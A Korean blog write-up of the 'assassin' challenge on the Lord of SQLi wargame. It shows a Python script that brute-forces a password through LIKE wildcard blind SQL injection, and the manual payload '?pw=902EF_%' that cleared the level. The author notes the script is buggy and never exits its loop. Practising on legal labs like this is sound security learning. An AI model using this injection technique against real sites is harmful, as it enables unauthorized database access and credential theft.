블라인드 SQL 문제이다.
GET방식으로 넘겨준 pw 파라미터에 따라서 id 값이 나온다고 한다.
이 쿼리문에서 like 취약점인 % 연산자를 통해 pw 값을 알아낼 수 있다.
그럼 파이썬 코드를 짜볼까.
import requests
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
header = {"Cookie" : "PHPSESSID=....."}
check = 0
flag = ''
while True:
for flag_num in range(48, 122):
tmp = flag + chr(flag_num) + '%'
para = {'pw' : tmp}
response = requests.get(URL, params=para, headers=header)
if("Hello admin" in response.text):
flag += chr(flag_num)
print("end >> ", flag)
check = 1
if("Hello guest" in response.text):
flag += chr(flag_num)
print("pw : ", flag)
break
if check == 1 :
break
위의 파이썬 코드를 실행하니, 다음과 같은 결과가 나왔다.
(뭔가 코드가 잘못되긴 했나 보다. while문을 안 빠져나오네.. )
?pw=902EF_% 를 url에 붙여줬다.
클리어
'워게임 > LoS' 카테고리의 다른 글
[los 문제풀이] zombie_assassin (0) | 2021.03.08 |
---|---|
[los 문제풀이] succubus (0) | 2021.03.07 |
[los 문제풀이] giant (1) | 2020.08.14 |
[los 문제풀이] SKELETON (0) | 2020.04.29 |
[los 문제풀이] vampire (0) | 2020.04.29 |
댓글